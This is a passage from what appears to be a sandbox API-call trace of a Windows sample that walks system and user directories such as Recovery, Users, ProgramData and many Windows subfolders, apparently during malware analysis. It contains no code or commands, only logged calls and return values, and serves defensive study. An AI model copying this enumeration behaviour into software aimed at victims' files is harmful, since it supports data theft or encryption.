ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xeb, ftLastWriteTime.dwLowDateTime=0x6f301a, ftLastWriteTime.dwHighDateTime=0x3424bf8b, nFileSizeHigh=0x24f548, nFileSizeLow=0x751dc33b, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="$", cAlternateFileName="쁴È￿￿\x03")) returned 0xffffffff [0266.643] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.644] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.644] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Templates" | out: pszDest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0266.644] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.644] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Templates" | out: psz1="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0266.644] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Templates" | out: psz1="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0266.644] lstrlenW (lpString="\\*") returned 2 [0266.644] lstrlenW (lpString="C:\\ProgramData\\Templates") returned 24 [0266.644] LocalAlloc (uFlags=0x40, uBytes=0x134) returned 0x6f3c38 [0266.644] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*" (normalized: "c:\\programdata\\templates\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x24f33c, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xec, ftLastWriteTime.dwLowDateTime=0x6f3018, ftLastWriteTime.dwHighDateTime=0x3424bf8b, nFileSizeHigh=0x24f548, nFileSizeLow=0x751dc33b, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="$", cAlternateFileName="쁴È￿￿\x03")) returned 0xffffffff [0266.644] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.644] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.644] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.645] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Recovery" | out: psz1="C:\\Recovery") returned="C:\\Recovery" [0266.645] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\Recovery" | out: psz1="C:\\Recovery") returned="C:\\Recovery" [0266.645] lstrlenW (lpString="\\*") returned 2 [0266.645] lstrlenW (lpString="C:\\Recovery") returned 11 [0266.645] LocalAlloc (uFlags=0x40, uBytes=0x11a) returned 0x6bf278 [0266.645] FindFirstFileW (in: lpFileName="C:\\Recovery\\*" (normalized: "c:\\recovery\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.646] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9" | out: psz1="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9") returned="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9" [0266.646] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9" | out: psz1="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9") returned="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9" [0266.646] lstrlenW (lpString="\\*") returned 2 [0266.646] lstrlenW (lpString="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9") returned 48 [0266.646] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6f3c38 [0266.646] FindFirstFileW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\*" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.646] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\System Volume Information" | out: psz1="C:\\System Volume Information") returned="C:\\System Volume Information" [0266.646] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\System Volume Information" | out: psz1="C:\\System Volume Information") returned="C:\\System Volume Information" [0266.646] lstrlenW (lpString="\\*") returned 2 [0266.646] lstrlenW (lpString="C:\\System Volume Information") returned 28 [0266.646] LocalAlloc (uFlags=0x40, uBytes=0x13c) returned 0x6bf278 [0266.647] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.647] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Users" | out: psz1="C:\\Users") returned="C:\\Users" [0266.647] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\Users" | out: psz1="C:\\Users") returned="C:\\Users" [0266.647] lstrlenW (lpString="\\*") returned 2 [0266.647] lstrlenW (lpString="C:\\Users") returned 8 [0266.647] LocalAlloc (uFlags=0x40, uBytes=0x114) returned 0x6bf278 [0266.648] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.648] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\All Users" | out: psz1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0266.648] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Users\\All Users" | out: psz1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0266.648] lstrlenW (lpString="\\*") returned 2 [0266.648] lstrlenW (lpString="C:\\Users\\All Users") returned 18 [0266.648] LocalAlloc (uFlags=0x40, uBytes=0x128) returned 0x6f3c38 [0266.649] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.649] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\Default" | out: psz1="C:\\Users\\Default") returned="C:\\Users\\Default" [0266.649] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Users\\Default" | out: psz1="C:\\Users\\Default") returned="C:\\Users\\Default" [0266.649] lstrlenW (lpString="\\*") returned 2 [0266.649] lstrlenW (lpString="C:\\Users\\Default") returned 16 [0266.649] LocalAlloc (uFlags=0x40, uBytes=0x124) returned 0x6f3c38 [0266.653] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.653] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\Default User" | out: psz1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0266.653] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Users\\Default User" | out: psz1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0266.653] lstrlenW (lpString="\\*") returned 2 [0266.653] lstrlenW (lpString="C:\\Users\\Default User") returned 21 [0266.653] LocalAlloc (uFlags=0x40, uBytes=0x12e) returned 0x6f3c38 [0266.654] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.654] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj" | out: psz1="C:\\Users\\kEecfMwgj") returned="C:\\Users\\kEecfMwgj" [0266.654] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Users\\kEecfMwgj" | out: psz1="C:\\Users\\kEecfMwgj") returned="C:\\Users\\kEecfMwgj" [0266.654] lstrlenW (lpString="\\*") returned 2 [0266.654] lstrlenW (lpString="C:\\Users\\kEecfMwgj") returned 18 [0266.654] LocalAlloc (uFlags=0x40, uBytes=0x128) returned 0x6f3c38 [0266.654] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.654] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\Public" | out: psz1="C:\\Users\\Public") returned="C:\\Users\\Public" [0266.654] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Users\\Public" | out: psz1="C:\\Users\\Public") returned="C:\\Users\\Public" [0266.654] lstrlenW (lpString="\\*") returned 2 [0266.654] lstrlenW (lpString="C:\\Users\\Public") returned 15 [0266.654] LocalAlloc (uFlags=0x40, uBytes=0x122) returned 0x6f3c38 [0266.654] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.654] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Windows" | out: psz1="C:\\Windows") returned="C:\\Windows" [0266.654] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\Windows" | out: psz1="C:\\Windows") returned="C:\\Windows" [0266.655] lstrlenW (lpString="\\*") returned 2 [0266.655] lstrlenW (lpString="C:\\Windows") returned 10 [0266.655] LocalAlloc (uFlags=0x40, uBytes=0x118) returned 0x6bf278 [0266.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.655] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\addins" | out: psz1="C:\\Windows\\addins") returned="C:\\Windows\\addins" [0266.655] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\addins" | out: psz1="C:\\Windows\\addins") returned="C:\\Windows\\addins" [0266.655] lstrlenW (lpString="\\*") returned 2 [0266.655] lstrlenW (lpString="C:\\Windows\\addins") returned 17 [0266.655] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6f3c38 [0266.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.655] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\AppCompat" | out: psz1="C:\\Windows\\AppCompat") returned="C:\\Windows\\AppCompat" [0266.655] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\AppCompat" | out: psz1="C:\\Windows\\AppCompat") returned="C:\\Windows\\AppCompat" [0266.655] lstrlenW (lpString="\\*") returned 2 [0266.655] lstrlenW (lpString="C:\\Windows\\AppCompat") returned 20 [0266.655] LocalAlloc (uFlags=0x40, uBytes=0x12c) returned 0x6f3c38 [0266.656] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.656] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\AppPatch" | out: psz1="C:\\Windows\\AppPatch") returned="C:\\Windows\\AppPatch" [0266.656] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\AppPatch" | out: psz1="C:\\Windows\\AppPatch") returned="C:\\Windows\\AppPatch" [0266.656] lstrlenW (lpString="\\*") returned 2 [0266.656] lstrlenW (lpString="C:\\Windows\\AppPatch") returned 19 [0266.656] LocalAlloc (uFlags=0x40, uBytes=0x12a) returned 0x6f3c38 [0266.657] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.658] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\assembly" | out: psz1="C:\\Windows\\assembly") returned="C:\\Windows\\assembly" [0266.658] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\assembly" | out: psz1="C:\\Windows\\assembly") returned="C:\\Windows\\assembly" [0266.658] lstrlenW (lpString="\\*") returned 2 [0266.658] lstrlenW (lpString="C:\\Windows\\assembly") returned 19 [0266.658] LocalAlloc (uFlags=0x40, uBytes=0x12a) returned 0x6f3c38 [0266.658] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.658] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Boot" | out: psz1="C:\\Windows\\Boot") returned="C:\\Windows\\Boot" [0266.658] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Boot" | out: psz1="C:\\Windows\\Boot") returned="C:\\Windows\\Boot" [0266.658] lstrlenW (lpString="\\*") returned 2 [0266.658] lstrlenW (lpString="C:\\Windows\\Boot") returned 15 [0266.658] LocalAlloc (uFlags=0x40, uBytes=0x122) returned 0x6f3c38 [0266.659] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.659] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Branding" | out: psz1="C:\\Windows\\Branding") returned="C:\\Windows\\Branding" [0266.659] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Branding" | out: psz1="C:\\Windows\\Branding") returned="C:\\Windows\\Branding" [0266.659] lstrlenW (lpString="\\*") returned 2 [0266.659] lstrlenW (lpString="C:\\Windows\\Branding") returned 19 [0266.659] LocalAlloc (uFlags=0x40, uBytes=0x12a) returned 0x6f3c38 [0266.659] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.660] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\CSC" | out: psz1="C:\\Windows\\CSC") returned="C:\\Windows\\CSC" [0266.660] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\CSC" | out: psz1="C:\\Windows\\CSC") returned="C:\\Windows\\CSC" [0266.660] lstrlenW (lpString="\\*") returned 2 [0266.660] lstrlenW (lpString="C:\\Windows\\CSC") returned 14 [0266.660] LocalAlloc (uFlags=0x40, uBytes=0x120) returned 0x6f3c38 [0266.660] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.661] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Cursors" | out: psz1="C:\\Windows\\Cursors") returned="C:\\Windows\\Cursors" [0266.661] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Cursors" | out: psz1="C:\\Windows\\Cursors") returned="C:\\Windows\\Cursors" [0266.661] lstrlenW (lpString="\\*") returned 2 [0266.661] lstrlenW (lpString="C:\\Windows\\Cursors") returned 18 [0266.661] LocalAlloc (uFlags=0x40, uBytes=0x128) returned 0x6f3c38 [0266.667] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.667] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\debug" | out: psz1="C:\\Windows\\debug") returned="C:\\Windows\\debug" [0266.667] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\debug" | out: psz1="C:\\Windows\\debug") returned="C:\\Windows\\debug" [0266.667] lstrlenW (lpString="\\*") returned 2 [0266.667] lstrlenW (lpString="C:\\Windows\\debug") returned 16 [0266.667] LocalAlloc (uFlags=0x40, uBytes=0x124) returned 0x6f3c38 [0266.668] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.668] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\diagnostics" | out: psz1="C:\\Windows\\diagnostics") returned="C:\\Windows\\diagnostics" [0266.668] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\diagnostics" | out: psz1="C:\\Windows\\diagnostics") returned="C:\\Windows\\diagnostics" [0266.668] lstrlenW (lpString="\\*") returned 2 [0266.668] lstrlenW (lpString="C:\\Windows\\diagnostics") returned 22 [0266.668] LocalAlloc (uFlags=0x40, uBytes=0x130) returned 0x6f3c38 [0266.668] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.668] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\DigitalLocker" | out: psz1="C:\\Windows\\DigitalLocker") returned="C:\\Windows\\DigitalLocker" [0266.668] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\DigitalLocker" | out: psz1="C:\\Windows\\DigitalLocker") returned="C:\\Windows\\DigitalLocker" [0266.668] lstrlenW (lpString="\\*") returned 2 [0266.668] lstrlenW (lpString="C:\\Windows\\DigitalLocker") returned 24 [0266.668] LocalAlloc (uFlags=0x40, uBytes=0x134) returned 0x6f3c38 [0266.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.673] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Downloaded Program Files" | out: psz1="C:\\Windows\\Downloaded Program Files") returned="C:\\Windows\\Downloaded Program Files" [0266.673] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Downloaded Program Files" | out: psz1="C:\\Windows\\Downloaded Program Files") returned="C:\\Windows\\Downloaded Program Files" [0266.673] lstrlenW (lpString="\\*") returned 2 [0266.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.674] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\ehome" | out: psz1="C:\\Windows\\ehome") returned="C:\\Windows\\ehome" [0266.674] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\ehome" | out: psz1="C:\\Windows\\ehome") returned="C:\\Windows\\ehome" [0266.677] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.677] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\en-US" | out: psz1="C:\\Windows\\en-US") returned="C:\\Windows\\en-US" [0266.677] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\en-US" | out: psz1="C:\\Windows\\en-US") returned="C:\\Windows\\en-US" [0266.678] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.678] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Fonts" | out: psz1="C:\\Windows\\Fonts") returned="C:\\Windows\\Fonts" [0266.678] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Fonts" | out: psz1="C:\\Windows\\Fonts") returned="C:\\Windows\\Fonts" [0266.683] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.684] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Globalization" | out: psz1="C:\\Windows\\Globalization") returned="C:\\Windows\\Globalization" [0266.684] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Globalization" | out: psz1="C:\\Windows\\Globalization") returned="C:\\Windows\\Globalization" [0266.684] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.684] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Help" | out: psz1="C:\\Windows\\Help") returned="C:\\Windows\\Help" [0266.684] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Help" | out: psz1="C:\\Windows\\Help") returned="C:\\Windows\\Help" [0266.685] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.685] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\IME" | out: psz1="C:\\Windows\\IME") returned="C:\\Windows\\IME" [0266.685] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\IME" | out: psz1="C:\\Windows\\IME") returned="C:\\Windows\\IME" [0266.686] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.686] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\inf" | out: psz1="C:\\Windows\\inf") returned="C:\\Windows\\inf" [0266.686] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\inf" | out: psz1="C:\\Windows\\inf") returned="C:\\Windows\\inf" [0266.723] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.723] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Installer" | out: psz1="C:\\Windows\\Installer") returned="C:\\Windows\\Installer" [0266.723] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Installer" | out: psz1="C:\\Windows\\Installer") returned="C:\\Windows\\Installer" [0266.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.725] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\L2Schemas" | out: psz1="C:\\Windows\\L2Schemas") returned="C:\\Windows\\L2Schemas" [0266.725] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\L2Schemas" | out: psz1="C:\\Windows\\L2Schemas") returned="C:\\Windows\\L2Schemas" [0266.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.728] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\LiveKernelReports" | out: psz1="C:\\Windows\\LiveKernelReports") returned="C:\\Windows\\LiveKernelReports" [0266.728] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\LiveKernelReports" | out: psz1="C:\\Windows\\LiveKernelReports") returned="C:\\Windows\\LiveKernelReports" [0266.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.728] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Logs" | out: psz1="C:\\Windows\\Logs") returned="C:\\Windows\\Logs" [0266.728] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Logs" | out: psz1="C:\\Windows\\Logs") returned="C:\\Windows\\Logs" [0266.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.729] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Media" | out: psz1="C:\\Windows\\Media") returned="C:\\Windows\\Media" [0266.729] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Media" | out: psz1="C:\\Windows\\Media") returned="C:\\Windows\\Media" [0266.731] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.731] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Microsoft.NET" | out: psz1="C:\\Windows\\Microsoft.NET") returned="C:\\Windows\\Microsoft.NET" [0266.731] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Microsoft.NET" | out: psz1="C:\\Windows\\Microsoft.NET") returned="C:\\Windows\\Microsoft.NET" [0266.732] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.732] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Migration" | out: psz1="C:\\Windows\\Migration") returned="C:\\Windows\\Migration" [0266.732] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Migration" | out: psz1="C:\\Windows\\Migration") returned="C:\\Windows\\Migration" [0266.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.743] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\ModemLogs" | out: psz1="C:\\Windows\\ModemLogs") returned="C:\\Windows\\ModemLogs" [0266.743] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\ModemLogs" | out: psz1="C:\\Windows\\ModemLogs") returned="C:\\Windows\\ModemLogs" [0266.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.745] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Offline Web Pages" | out: psz1="C:\\Windows\\Offline Web Pages") returned="C:\\Windows\\Offline Web Pages" [0266.745] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Offline Web Pages" | out: psz1="C:\\Windows\\Offline Web Pages") returned="C:\\Windows\\Offline Web Pages" [0266.746] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.746] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\PCHEALTH" | out: psz1="C:\\Windows\\PCHEALTH") returned="C:\\Windows\\PCHEALTH" [0266.746] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\PCHEALTH" | out: psz1="C:\\Windows\\PCHEALTH") returned="C:\\Windows\\PCHEALTH" [0266.747] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.747] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Performance" | out: psz1="C:\\Windows\\Performance") returned="C:\\Windows\\Performance" [0266.747] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Performance" | out: psz1="C:\\Windows\\Performance") returned="C:\\Windows\\Performance" [0266.748] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.748] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\PLA" | out: psz1="C:\\Windows\\PLA") returned="C:\\Windows\\PLA" [0266.748] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\PLA" | out: psz1="C:\\Windows\\PLA") 